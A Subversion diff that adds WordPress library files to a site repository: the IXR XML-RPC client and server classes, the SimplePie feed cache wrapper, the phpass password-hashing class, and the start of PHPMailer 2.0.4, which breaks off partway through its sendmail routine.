+        $this->xml .= '</params></methodCall>';
+    }
+    function getLength() {
+        return strlen($this->xml);
+    }
+    function getXml() {
+        return $this->xml;
+    }
+}
+
+/**
+ * IXR_Client
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_Client {
+    var $server;
+    var $port;
+    var $path;
+    var $useragent;
+	var $headers;
+    var $response;
+    var $message = false;
+    var $debug = false;
+    var $timeout;
+    // Storage place for an error message
+    var $error = false;
+    function IXR_Client($server, $path = false, $port = 80, $timeout = false) {
+        if (!$path) {
+            // Assume we have been given a URL instead
+            $bits = parse_url($server);
+            $this->server = $bits['host'];
+            $this->port = isset($bits['port']) ? $bits['port'] : 80;
+            $this->path = isset($bits['path']) ? $bits['path'] : '/';
+            // Make absolutely sure we have a path
+            if (!$this->path) {
+                $this->path = '/';
+            }
+        } else {
+            $this->server = $server;
+            $this->path = $path;
+            $this->port = $port;
+        }
+        $this->useragent = 'The Incutio XML-RPC PHP Library';
+        $this->timeout = $timeout;
+    }
+    function query() {
+        $args = func_get_args();
+        $method = array_shift($args);
+        $request = new IXR_Request($method, $args);
+        $length = $request->getLength();
+        $xml = $request->getXml();
+        $r = "\r\n";
+        $request  = "POST {$this->path} HTTP/1.0$r";
+
+		$this->headers['Host']			= $this->server;
+		$this->headers['Content-Type']	= 'text/xml';
+		$this->headers['User-Agent']	= $this->useragent;
+		$this->headers['Content-Length']= $length;
+
+		foreach( $this->headers as $header => $value ) {
+			$request .= "{$header}: {$value}{$r}";
+		}
+		$request .= $r;
+
+        $request .= $xml;
+        // Now send the request
+        if ($this->debug) {
+            echo '<pre class="ixr_request">'.htmlspecialchars($request)."\n</pre>\n\n";
+        }
+        if ($this->timeout) {
+            $fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout);
+        } else {
+            $fp = @fsockopen($this->server, $this->port, $errno, $errstr);
+        }
+        if (!$fp) {
+            $this->error = new IXR_Error(-32300, "transport error - could not open socket: $errno $errstr");
+            return false;
+        }
+        fputs($fp, $request);
+        $contents = '';
+        $debug_contents = '';
+        $gotFirstLine = false;
+        $gettingHeaders = true;
+        while (!feof($fp)) {
+            $line = fgets($fp, 4096);
+            if (!$gotFirstLine) {
+                // Check line for '200'
+                if (strstr($line, '200') === false) {
+                    $this->error = new IXR_Error(-32301, 'transport error - HTTP status code was not 200');
+                    return false;
+                }
+                $gotFirstLine = true;
+            }
+            if (trim($line) == '') {
+                $gettingHeaders = false;
+            }
+            if (!$gettingHeaders) {
+                $contents .= trim($line);
+            }
+            if ($this->debug) {
+                $debug_contents .= $line;
+            }
+        }
+        if ($this->debug) {
+            echo '<pre class="ixr_response">'.htmlspecialchars($debug_contents)."\n</pre>\n\n";
+        }
+        // Now parse what we've got back
+        $this->message = new IXR_Message($contents);
+        if (!$this->message->parse()) {
+            // XML error
+            $this->error = new IXR_Error(-32700, 'parse error. not well formed');
+            return false;
+        }
+        // Is the message a fault?
+        if ($this->message->messageType == 'fault') {
+            $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString);
+            return false;
+        }
+        // Message must be OK
+        return true;
+    }
+    function getResponse() {
+        // methodResponses can only have one param - return that
+        return $this->message->params[0];
+    }
+    function isError() {
+        return (is_object($this->error));
+    }
+    function getErrorCode() {
+        return $this->error->code;
+    }
+    function getErrorMessage() {
+        return $this->error->message;
+    }
+}
+
+/**
+ * IXR_Error
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_Error {
+    var $code;
+    var $message;
+    function IXR_Error($code, $message) {
+        $this->code = $code;
+        // WP adds htmlspecialchars(). See #5666
+        $this->message = htmlspecialchars($message);
+    }
+    function getXml() {
+        $xml = <<<EOD
+<methodResponse>
+  <fault>
+    <value>
+      <struct>
+        <member>
+          <name>faultCode</name>
+          <value><int>{$this->code}</int></value>
+        </member>
+        <member>
+          <name>faultString</name>
+          <value><string>{$this->message}</string></value>
+        </member>
+      </struct>
+    </value>
+  </fault>
+</methodResponse>
+
+EOD;
+        return $xml;
+    }
+}
+
+/**
+ * IXR_Date
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_Date {
+    var $year;
+    var $month;
+    var $day;
+    var $hour;
+    var $minute;
+    var $second;
+    var $timezone;
+    function IXR_Date($time) {
+        // $time can be a PHP timestamp or an ISO one
+        if (is_numeric($time)) {
+            $this->parseTimestamp($time);
+        } else {
+            $this->parseIso($time);
+        }
+    }
+    function parseTimestamp($timestamp) {
+        $this->year = date('Y', $timestamp);
+        $this->month = date('m', $timestamp);
+        $this->day = date('d', $timestamp);
+        $this->hour = date('H', $timestamp);
+        $this->minute = date('i', $timestamp);
+        $this->second = date('s', $timestamp);
+        // WP adds timezone. See #2036
+        $this->timezone = '';
+    }
+    function parseIso($iso) {
+        $this->year = substr($iso, 0, 4);
+        $this->month = substr($iso, 4, 2);
+        $this->day = substr($iso, 6, 2);
+        $this->hour = substr($iso, 9, 2);
+        $this->minute = substr($iso, 12, 2);
+        $this->second = substr($iso, 15, 2);
+        // WP adds timezone. See #2036
+        $this->timezone = substr($iso, 17);
+    }
+    function getIso() {
+    	// WP adds timezone. See #2036
+        return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone;
+    }
+    function getXml() {
+        return '<dateTime.iso8601>'.$this->getIso().'</dateTime.iso8601>';
+    }
+    function getTimestamp() {
+        return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year);
+    }
+}
+
+/**
+ * IXR_Base64
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_Base64 {
+    var $data;
+    function IXR_Base64($data) {
+        $this->data = $data;
+    }
+    function getXml() {
+        return '<base64>'.base64_encode($this->data).'</base64>';
+    }
+}
+
+/**
+ * IXR_IntrospectionServer
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_IntrospectionServer extends IXR_Server {
+    var $signatures;
+    var $help;
+    function IXR_IntrospectionServer() {
+        $this->setCallbacks();
+        $this->setCapabilities();
+        $this->capabilities['introspection'] = array(
+            'specUrl' => 'http://xmlrpc.usefulinc.com/doc/reserved.html',
+            'specVersion' => 1
+        );
+        $this->addCallback(
+            'system.methodSignature',
+            'this:methodSignature',
+            array('array', 'string'),
+            'Returns an array describing the return type and required parameters of a method'
+        );
+        $this->addCallback(
+            'system.getCapabilities',
+            'this:getCapabilities',
+            array('struct'),
+            'Returns a struct describing the XML-RPC specifications supported by this server'
+        );
+        $this->addCallback(
+            'system.listMethods',
+            'this:listMethods',
+            array('array'),
+            'Returns an array of available methods on this server'
+        );
+        $this->addCallback(
+            'system.methodHelp',
+            'this:methodHelp',
+            array('string', 'string'),
+            'Returns a documentation string for the specified method'
+        );
+    }
+    function addCallback($method, $callback, $args, $help) {
+        $this->callbacks[$method] = $callback;
+        $this->signatures[$method] = $args;
+        $this->help[$method] = $help;
+    }
+    function call($methodname, $args) {
+        // Make sure it's in an array
+        if ($args && !is_array($args)) {
+            $args = array($args);
+        }
+        // Over-rides default call method, adds signature check
+        if (!$this->hasMethod($methodname)) {
+            return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.');
+        }
+        $method = $this->callbacks[$methodname];
+        $signature = $this->signatures[$methodname];
+        $returnType = array_shift($signature);
+        // Check the number of arguments
+        if (count($args) != count($signature)) {
+            return new IXR_Error(-32602, 'server error. wrong number of method parameters');
+        }
+        // Check the argument types
+        $ok = true;
+        $argsbackup = $args;
+        for ($i = 0, $j = count($args); $i < $j; $i++) {
+            $arg = array_shift($args);
+            $type = array_shift($signature);
+            switch ($type) {
+                case 'int':
+                case 'i4':
+                    if (is_array($arg) || !is_int($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'base64':
+                case 'string':
+                    if (!is_string($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'boolean':
+                    if ($arg !== false && $arg !== true) {
+                        $ok = false;
+                    }
+                    break;
+                case 'float':
+                case 'double':
+                    if (!is_float($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'date':
+                case 'dateTime.iso8601':
+                    if (!is_a($arg, 'IXR_Date')) {
+                        $ok = false;
+                    }
+                    break;
+            }
+            if (!$ok) {
+                return new IXR_Error(-32602, 'server error. invalid method parameters');
+            }
+        }
+        // It passed the test - run the "real" method call
+        return parent::call($methodname, $argsbackup);
+    }
+    function methodSignature($method) {
+        if (!$this->hasMethod($method)) {
+            return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.');
+        }
+        // We should be returning an array of types
+        $types = $this->signatures[$method];
+        $return = array();
+        foreach ($types as $type) {
+            switch ($type) {
+                case 'string':
+                    $return[] = 'string';
+                    break;
+                case 'int':
+                case 'i4':
+                    $return[] = 42;
+                    break;
+                case 'double':
+                    $return[] = 3.1415;
+                    break;
+                case 'dateTime.iso8601':
+                    $return[] = new IXR_Date(time());
+                    break;
+                case 'boolean':
+                    $return[] = true;
+                    break;
+                case 'base64':
+                    $return[] = new IXR_Base64('base64');
+                    break;
+                case 'array':
+                    $return[] = array('array');
+                    break;
+                case 'struct':
+                    $return[] = array('struct' => 'struct');
+                    break;
+            }
+        }
+        return $return;
+    }
+    function methodHelp($method) {
+        return $this->help[$method];
+    }
+}
+
+/**
+ * IXR_ClientMulticall
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_ClientMulticall extends IXR_Client {
+    var $calls = array();
+    function IXR_ClientMulticall($server, $path = false, $port = 80) {
+        parent::IXR_Client($server, $path, $port);
+        $this->useragent = 'The Incutio XML-RPC PHP Library (multicall client)';
+    }
+    function addCall() {
+        $args = func_get_args();
+        $methodName = array_shift($args);
+        $struct = array(
+            'methodName' => $methodName,
+            'params' => $args
+        );
+        $this->calls[] = $struct;
+    }
+    function query() {
+        // Prepare multicall, then call the parent::query() method
+        return parent::query('system.multicall', $this->calls);
+    }
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/class-feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class-feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class-feed.php	(revision 44)
@@ -0,0 +1,103 @@
+<?php
+
+if ( !class_exists('SimplePie') )
+	require_once (ABSPATH . WPINC . '/class-simplepie.php');
+
+class WP_Feed_Cache extends SimplePie_Cache {
+	/**
+	 * Don't call the constructor. Please.
+	 *
+	 * @access private
+	 */
+	function WP_Feed_Cache() {
+		trigger_error('Please call SimplePie_Cache::create() instead of the constructor', E_USER_ERROR);
+	}
+
+	/**
+	 * Create a new SimplePie_Cache object
+	 *
+	 * @static
+	 * @access public
+	 */
+	function create($location, $filename, $extension) {
+		return new WP_Feed_Cache_Transient($location, $filename, $extension);
+	}
+}
+
+class WP_Feed_Cache_Transient {
+	var $name;
+	var $mod_name;
+	var $lifetime = 43200; //Default lifetime in cache of 12 hours
+
+	function WP_Feed_Cache_Transient($location, $filename, $extension) {
+		$this->name = 'feed_' . $filename;
+		$this->mod_name = 'feed_mod_' . $filename;
+		$this->lifetime = apply_filters('wp_feed_cache_transient_lifetime', $this->lifetime);
+	}
+
+	function save($data) {
+		if ( is_a($data, 'SimplePie') )
+			$data = $data->data;
+
+		set_transient($this->name, $data, $this->lifetime);
+		set_transient($this->mod_name, time(), $this->lifetime);
+		return true;
+	}
+
+	function load() {
+		return get_transient($this->name);
+	}
+
+	function mtime() {
+		return get_transient($this->mod_name);
+	}
+
+	function touch() {
+		return set_transient($this->mod_name, time(), $this->lifetime);
+	}
+
+	function unlink() {
+		delete_transient($this->name);
+		delete_transient($this->mod_name);
+		return true;
+	}
+}
+
+class WP_SimplePie_File extends SimplePie_File {
+
+	function WP_SimplePie_File($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false) {
+		$this->url = $url;
+		$this->timeout = $timeout;
+		$this->redirects = $redirects;
+		$this->headers = $headers;
+		$this->useragent = $useragent;
+
+		$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE;
+
+		if ( preg_match('/^http(s)?:\/\//i', $url) ) {
+			$args = array( 'timeout' => $this->timeout, 'redirection' => $this->redirects);
+
+			if ( !empty($this->headers) )
+				$args['headers'] = $this->headers;
+
+			if ( SIMPLEPIE_USERAGENT != $this->useragent ) //Use default WP user agent unless custom has been specified
+				$args['user-agent'] = $this->useragent;
+
+			$res = wp_remote_request($url, $args);
+
+			if ( is_wp_error($res) ) {
+				$this->error = 'WP HTTP Error: ' . $res->get_error_message();
+				$this->success = false;
+			} else {
+				$this->headers = $res['headers'];
+				$this->body = $res['body'];
+				$this->status_code = $res['response']['code'];
+			}
+		} else {
+			if ( ! $this->body = file_get_contents($url) ) {
+				$this->error = 'file_get_contents could not read the file';
+				$this->success = false;
+			}
+		}
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/class-phpass.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class-phpass.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class-phpass.php	(revision 44)
@@ -0,0 +1,258 @@
+<?php
+/**
+ * Portable PHP password hashing framework.
+ * @package phpass
+ * @since 2.5
+ * @version 0.1
+ * @link http://www.openwall.com/phpass/
+ */
+
+#
+# Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in
+# the public domain.
+#
+# There's absolutely no warranty.
+#
+# Please be sure to update the Version line if you edit this file in any way.
+# It is suggested that you leave the main version number intact, but indicate
+# your project name (after the slash) and add your own revision information.
+#
+# Please do not change the "private" password hashing method implemented in
+# here, thereby making your hashes incompatible.  However, if you must, please
+# change the hash type identifier (the "$P$") to something different.
+#
+# Obviously, since this code is in the public domain, the above are not
+# requirements (there can be none), but merely suggestions.
+#
+
+/**
+ * Portable PHP password hashing framework.
+ *
+ * @package phpass
+ * @version 0.1 / genuine
+ * @link http://www.openwall.com/phpass/
+ * @since 2.5
+ */
+class PasswordHash {
+	var $itoa64;
+	var $iteration_count_log2;
+	var $portable_hashes;
+	var $random_state;
+
+	function PasswordHash($iteration_count_log2, $portable_hashes)
+	{
+		$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+
+		if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
+			$iteration_count_log2 = 8;
+		$this->iteration_count_log2 = $iteration_count_log2;
+
+		$this->portable_hashes = $portable_hashes;
+
+		$this->random_state = microtime() . (function_exists('getmypid') ? getmypid() : '') . uniqid(rand(), TRUE);
+
+	}
+
+	function get_random_bytes($count)
+	{
+		$output = '';
+		if (($fh = @fopen('/dev/urandom', 'rb'))) {
+			$output = fread($fh, $count);
+			fclose($fh);
+		}
+
+		if (strlen($output) < $count) {
+			$output = '';
+			for ($i = 0; $i < $count; $i += 16) {
+				$this->random_state =
+				    md5(microtime() . $this->random_state);
+				$output .=
+				    pack('H*', md5($this->random_state));
+			}
+			$output = substr($output, 0, $count);
+		}
+
+		return $output;
+	}
+
+	function encode64($input, $count)
+	{
+		$output = '';
+		$i = 0;
+		do {
+			$value = ord($input[$i++]);
+			$output .= $this->itoa64[$value & 0x3f];
+			if ($i < $count)
+				$value |= ord($input[$i]) << 8;
+			$output .= $this->itoa64[($value >> 6) & 0x3f];
+			if ($i++ >= $count)
+				break;
+			if ($i < $count)
+				$value |= ord($input[$i]) << 16;
+			$output .= $this->itoa64[($value >> 12) & 0x3f];
+			if ($i++ >= $count)
+				break;
+			$output .= $this->itoa64[($value >> 18) & 0x3f];
+		} while ($i < $count);
+
+		return $output;
+	}
+
+	function gensalt_private($input)
+	{
+		$output = '$P$';
+		$output .= $this->itoa64[min($this->iteration_count_log2 +
+			((PHP_VERSION >= '5') ? 5 : 3), 30)];
+		$output .= $this->encode64($input, 6);
+
+		return $output;
+	}
+
+	function crypt_private($password, $setting)
+	{
+		$output = '*0';
+		if (substr($setting, 0, 2) == $output)
+			$output = '*1';
+
+		if (substr($setting, 0, 3) != '$P$')
+			return $output;
+
+		$count_log2 = strpos($this->itoa64, $setting[3]);
+		if ($count_log2 < 7 || $count_log2 > 30)
+			return $output;
+
+		$count = 1 << $count_log2;
+
+		$salt = substr($setting, 4, 8);
+		if (strlen($salt) != 8)
+			return $output;
+
+		# We're kind of forced to use MD5 here since it's the only
+		# cryptographic primitive available in all versions of PHP
+		# currently in use.  To implement our own low-level crypto
+		# in PHP would result in much worse performance and
+		# consequently in lower iteration counts and hashes that are
+		# quicker to crack (by non-PHP code).
+		if (PHP_VERSION >= '5') {
+			$hash = md5($salt . $password, TRUE);
+			do {
+				$hash = md5($hash . $password, TRUE);
+			} while (--$count);
+		} else {
+			$hash = pack('H*', md5($salt . $password));
+			do {
+				$hash = pack('H*', md5($hash . $password));
+			} while (--$count);
+		}
+
+		$output = substr($setting, 0, 12);
+		$output .= $this->encode64($hash, 16);
+
+		return $output;
+	}
+
+	function gensalt_extended($input)
+	{
+		$count_log2 = min($this->iteration_count_log2 + 8, 24);
+		# This should be odd to not reveal weak DES keys, and the
+		# maximum valid value is (2**24 - 1) which is odd anyway.
+		$count = (1 << $count_log2) - 1;
+
+		$output = '_';
+		$output .= $this->itoa64[$count & 0x3f];
+		$output .= $this->itoa64[($count >> 6) & 0x3f];
+		$output .= $this->itoa64[($count >> 12) & 0x3f];
+		$output .= $this->itoa64[($count >> 18) & 0x3f];
+
+		$output .= $this->encode64($input, 3);
+
+		return $output;
+	}
+
+	function gensalt_blowfish($input)
+	{
+		# This one needs to use a different order of characters and a
+		# different encoding scheme from the one in encode64() above.
+		# We care because the last character in our encoded string will
+		# only represent 2 bits.  While two known implementations of
+		# bcrypt will happily accept and correct a salt string which
+		# has the 4 unused bits set to non-zero, we do not want to take
+		# chances and we also do not want to waste an additional byte
+		# of entropy.
+		$itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+
+		$output = '$2a$';
+		$output .= chr(ord('0') + $this->iteration_count_log2 / 10);
+		$output .= chr(ord('0') + $this->iteration_count_log2 % 10);
+		$output .= '$';
+
+		$i = 0;
+		do {
+			$c1 = ord($input[$i++]);
+			$output .= $itoa64[$c1 >> 2];
+			$c1 = ($c1 & 0x03) << 4;
+			if ($i >= 16) {
+				$output .= $itoa64[$c1];
+				break;
+			}
+
+			$c2 = ord($input[$i++]);
+			$c1 |= $c2 >> 4;
+			$output .= $itoa64[$c1];
+			$c1 = ($c2 & 0x0f) << 2;
+
+			$c2 = ord($input[$i++]);
+			$c1 |= $c2 >> 6;
+			$output .= $itoa64[$c1];
+			$output .= $itoa64[$c2 & 0x3f];
+		} while (1);
+
+		return $output;
+	}
+
+	function HashPassword($password)
+	{
+		$random = '';
+
+		if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) {
+			$random = $this->get_random_bytes(16);
+			$hash =
+			    crypt($password, $this->gensalt_blowfish($random));
+			if (strlen($hash) == 60)
+				return $hash;
+		}
+
+		if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) {
+			if (strlen($random) < 3)
+				$random = $this->get_random_bytes(3);
+			$hash =
+			    crypt($password, $this->gensalt_extended($random));
+			if (strlen($hash) == 20)
+				return $hash;
+		}
+
+		if (strlen($random) < 6)
+			$random = $this->get_random_bytes(6);
+		$hash =
+		    $this->crypt_private($password,
+		    $this->gensalt_private($random));
+		if (strlen($hash) == 34)
+			return $hash;
+
+		# Returning '*' on error is safe here, but would _not_ be safe
+		# in a crypt(3)-like function used _both_ for generating new
+		# hashes and for validating passwords against existing hashes.
+		return '*';
+	}
+
+	function CheckPassword($password, $stored_hash)
+	{
+		$hash = $this->crypt_private($password, $stored_hash);
+		if ($hash[0] == '*')
+			$hash = crypt($password, $stored_hash);
+
+		return $hash == $stored_hash;
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/class-phpmailer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class-phpmailer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class-phpmailer.php	(revision 44)
@@ -0,0 +1,1921 @@
+<?php
+/*~ class.phpmailer.php
+.---------------------------------------------------------------------------.
+|  Software: PHPMailer - PHP email class                                    |
+|   Version: 2.0.4                                                          |
+|   Contact: via sourceforge.net support pages (also www.codeworxtech.com)  |
+|      Info: http://phpmailer.sourceforge.net                               |
+|   Support: http://sourceforge.net/projects/phpmailer/                     |
+| ------------------------------------------------------------------------- |
+|    Author: Andy Prevost (project admininistrator)                         |
+|    Author: Brent R. Matzelle (original founder)                           |
+| Copyright (c) 2004-2007, Andy Prevost. All Rights Reserved.               |
+| Copyright (c) 2001-2003, Brent R. Matzelle                                |
+| ------------------------------------------------------------------------- |
+|   License: Distributed under the Lesser General Public License (LGPL)     |
+|            http://www.gnu.org/copyleft/lesser.html                        |
+| This program is distributed in the hope that it will be useful - WITHOUT  |
+| ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or     |
+| FITNESS FOR A PARTICULAR PURPOSE.                                         |
+| ------------------------------------------------------------------------- |
+| We offer a number of paid services (www.codeworxtech.com):                |
+| - Web Hosting on highly optimized fast and secure servers                 |
+| - Technology Consulting                                                   |
+| - Oursourcing (highly qualified programmers and graphic designers)        |
+'---------------------------------------------------------------------------'
+ */
+/**
+ * PHPMailer - PHP email transport class
+ * @package PHPMailer
+ * @author Andy Prevost
+ * @copyright 2004 - 2009 Andy Prevost
+ */
+
+class PHPMailer {
+
+  /////////////////////////////////////////////////
+  // PROPERTIES, PUBLIC
+  /////////////////////////////////////////////////
+
+  /**
+   * Email priority (1 = High, 3 = Normal, 5 = low).
+   * @var int
+   */
+  var $Priority          = 3;
+
+  /**
+   * Sets the CharSet of the message.
+   * @var string
+   */
+  var $CharSet           = 'iso-8859-1';
+
+  /**
+   * Sets the Content-type of the message.
+   * @var string
+   */
+  var $ContentType        = 'text/plain';
+
+  /**
+   * Sets the Encoding of the message. Options for this are "8bit",
+   * "7bit", "binary", "base64", and "quoted-printable".
+   * @var string
+   */
+  var $Encoding          = '8bit';
+
+  /**
+   * Holds the most recent mailer error message.
+   * @var string
+   */
+  var $ErrorInfo         = '';
+
+  /**
+   * Sets the From email address for the message.
+   * @var string
+   */
+  var $From              = 'root@localhost';
+
+  /**
+   * Sets the From name of the message.
+   * @var string
+   */
+  var $FromName          = 'Root User';
+
+  /**
+   * Sets the Sender email (Return-Path) of the message.  If not empty,
+   * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
+   * @var string
+   */
+  var $Sender            = '';
+
+  /**
+   * Sets the Subject of the message.
+   * @var string
+   */
+  var $Subject           = '';
+
+  /**
+   * Sets the Body of the message.  This can be either an HTML or text body.
+   * If HTML then run IsHTML(true).
+   * @var string
+   */
+  var $Body              = '';
+
+  /**
+   * Sets the text-only body of the message.  This automatically sets the
+   * email to multipart/alternative.  This body can be read by mail
+   * clients that do not have HTML email capability such as mutt. Clients
+   * that can read HTML will view the normal Body.
+   * @var string
+   */
+  var $AltBody           = '';
+
+  /**
+   * Sets word wrapping on the body of the message to a given number of
+   * characters.
+   * @var int
+   */
+  var $WordWrap          = 0;
+
+  /**
+   * Method to send mail: ("mail", "sendmail", or "smtp").
+   * @var string
+   */
+  var $Mailer            = 'mail';
+
+  /**
+   * Sets the path of the sendmail program.
+   * @var string
+   */
+  var $Sendmail          = '/usr/sbin/sendmail';
+
+  /**
+   * Path to PHPMailer plugins.  This is now only useful if the SMTP class
+   * is in a different directory than the PHP include path.
+   * @var string
+   */
+  var $PluginDir         = '';
+
+  /**
+   * Holds PHPMailer version.
+   * @var string
+   */
+  var $Version           = "2.0.4";
+
+  /**
+   * Sets the email address that a reading confirmation will be sent.
+   * @var string
+   */
+  var $ConfirmReadingTo  = '';
+
+  /**
+   * Sets the hostname to use in Message-Id and Received headers
+   * and as default HELO string. If empty, the value returned
+   * by SERVER_NAME is used or 'localhost.localdomain'.
+   * @var string
+   */
+  var $Hostname          = '';
+
+  /**
+   * Sets the message ID to be used in the Message-Id header.
+   * If empty, a unique id will be generated.
+   * @var string
+   */
+  var $MessageID         = '';
+
+  /////////////////////////////////////////////////
+  // PROPERTIES FOR SMTP
+  /////////////////////////////////////////////////
+
+  /**
+   * Sets the SMTP hosts.  All hosts must be separated by a
+   * semicolon.  You can also specify a different port
+   * for each host by using this format: [hostname:port]
+   * (e.g. "smtp1.example.com:25;smtp2.example.com").
+   * Hosts will be tried in order.
+   * @var string
+   */
+  var $Host        = 'localhost';
+
+  /**
+   * Sets the default SMTP server port.
+   * @var int
+   */
+  var $Port        = 25;
+
+  /**
+   * Sets the SMTP HELO of the message (Default is $Hostname).
+   * @var string
+   */
+  var $Helo        = '';
+
+  /**
+   * Sets connection prefix.
+   * Options are "", "ssl" or "tls"
+   * @var string
+   */
+  var $SMTPSecure = "";
+
+  /**
+   * Sets SMTP authentication. Utilizes the Username and Password variables.
+   * @var bool
+   */
+  var $SMTPAuth     = false;
+
+  /**
+   * Sets SMTP username.
+   * @var string
+   */
+  var $Username     = '';
+
+  /**
+   * Sets SMTP password.
+   * @var string
+   */
+  var $Password     = '';
+
+  /**
+   * Sets the SMTP server timeout in seconds. This function will not
+   * work with the win32 version.
+   * @var int
+   */
+  var $Timeout      = 10;
+
+  /**
+   * Sets SMTP class debugging on or off.
+   * @var bool
+   */
+  var $SMTPDebug    = false;
+
+  /**
+   * Prevents the SMTP connection from being closed after each mail
+   * sending.  If this is set to true then to close the connection
+   * requires an explicit call to SmtpClose().
+   * @var bool
+   */
+  var $SMTPKeepAlive = false;
+
+  /**
+   * Provides the ability to have the TO field process individual
+   * emails, instead of sending to entire TO addresses
+   * @var bool
+   */
+  var $SingleTo = false;
+
+  /////////////////////////////////////////////////
+  // PROPERTIES, PRIVATE
+  /////////////////////////////////////////////////
+
+  var $smtp            = NULL;
+  var $to              = array();
+  var $cc              = array();
+  var $bcc             = array();
+  var $ReplyTo         = array();
+  var $attachment      = array();
+  var $CustomHeader    = array();
+  var $message_type    = '';
+  var $boundary        = array();
+  var $language        = array();
+  var $error_count     = 0;
+  var $LE              = "\n";
+  var $sign_cert_file  = "";
+  var $sign_key_file   = "";
+  var $sign_key_pass   = "";
+
+  /////////////////////////////////////////////////
+  // METHODS, VARIABLES
+  /////////////////////////////////////////////////
+
+  /**
+   * Sets message type to HTML.
+   * @param bool $bool
+   * @return void
+   */
+  function IsHTML($bool) {
+    if($bool == true) {
+      $this->ContentType = 'text/html';
+    } else {
+      $this->ContentType = 'text/plain';
+    }
+  }
+
+  /**
+   * Sets Mailer to send message using SMTP.
+   * @return void
+   */
+  function IsSMTP() {
+    $this->Mailer = 'smtp';
+  }
+
+  /**
+   * Sets Mailer to send message using PHP mail() function.
+   * @return void
+   */
+  function IsMail() {
+    $this->Mailer = 'mail';
+  }
+
+  /**
+   * Sets Mailer to send message using the $Sendmail program.
+   * @return void
+   */
+  function IsSendmail() {
+    $this->Mailer = 'sendmail';
+  }
+
+  /**
+   * Sets Mailer to send message using the qmail MTA.
+   * @return void
+   */
+  function IsQmail() {
+    $this->Sendmail = '/var/qmail/bin/sendmail';
+    $this->Mailer = 'sendmail';
+  }
+
+  /////////////////////////////////////////////////
+  // METHODS, RECIPIENTS
+  /////////////////////////////////////////////////
+
+  /**
+   * Adds a "To" address.
+   * @param string $address
+   * @param string $name
+   * @return void
+   */
+  function AddAddress($address, $name = '') {
+    $cur = count($this->to);
+    $this->to[$cur][0] = trim($address);
+    $this->to[$cur][1] = $name;
+  }
+
+  /**
+   * Adds a "Cc" address. Note: this function works
+   * with the SMTP mailer on win32, not with the "mail"
+   * mailer.
+   * @param string $address
+   * @param string $name
+   * @return void
+   */
+  function AddCC($address, $name = '') {
+    $cur = count($this->cc);
+    $this->cc[$cur][0] = trim($address);
+    $this->cc[$cur][1] = $name;
+  }
+
+  /**
+   * Adds a "Bcc" address. Note: this function works
+   * with the SMTP mailer on win32, not with the "mail"
+   * mailer.
+   * @param string $address
+   * @param string $name
+   * @return void
+   */
+  function AddBCC($address, $name = '') {
+    $cur = count($this->bcc);
+    $this->bcc[$cur][0] = trim($address);
+    $this->bcc[$cur][1] = $name;
+  }
+
+  /**
+   * Adds a "Reply-To" address.
+   * @param string $address
+   * @param string $name
+   * @return void
+   */
+  function AddReplyTo($address, $name = '') {
+    $cur = count($this->ReplyTo);
+    $this->ReplyTo[$cur][0] = trim($address);
+    $this->ReplyTo[$cur][1] = $name;
+  }
+
+  /////////////////////////////////////////////////
+  // METHODS, MAIL SENDING
+  /////////////////////////////////////////////////
+
+  /**
+   * Creates message and assigns Mailer. If the message is
+   * not sent successfully then it returns false.  Use the ErrorInfo
+   * variable to view description of the error.
+   * @return bool
+   */
+  function Send() {
+    $header = '';
+    $body = '';
+    $result = true;
+
+    if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
+      $this->SetError($this->Lang('provide_address'));
+      return false;
+    }
+
+    /* Set whether the message is multipart/alternative */
+    if(!empty($this->AltBody)) {
+      $this->ContentType = 'multipart/alternative';
+    }
+
+    $this->error_count = 0; // reset errors
+    $this->SetMessageType();
+    $header .= $this->CreateHeader();
+    $body = $this->CreateBody();
+
+    if($body == '') {
+      return false;
+    }
+
+    /* Choose the mailer */
+    switch($this->Mailer) {
+      case 'sendmail':
+        $result = $this->SendmailSend($header, $body);
+        break;
+      case 'smtp':
+        $result = $this->SmtpSend($header, $body);
+        break;
+      case 'mail':
+        $result = $this->MailSend($header, $body);
+        break;
+      default:
+        $result = $this->MailSend($header, $body);
+        break;
+        //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
+        //$result = false;
+        //break;
+    }
+
+    return $result;
+  }
+
+  /**
+   * Sends mail using the $Sendmail program.
+   * @access private
+   * @return bool
+   */
+  function SendmailSend($header, $body) {
+    if ($this->Sender != '') {
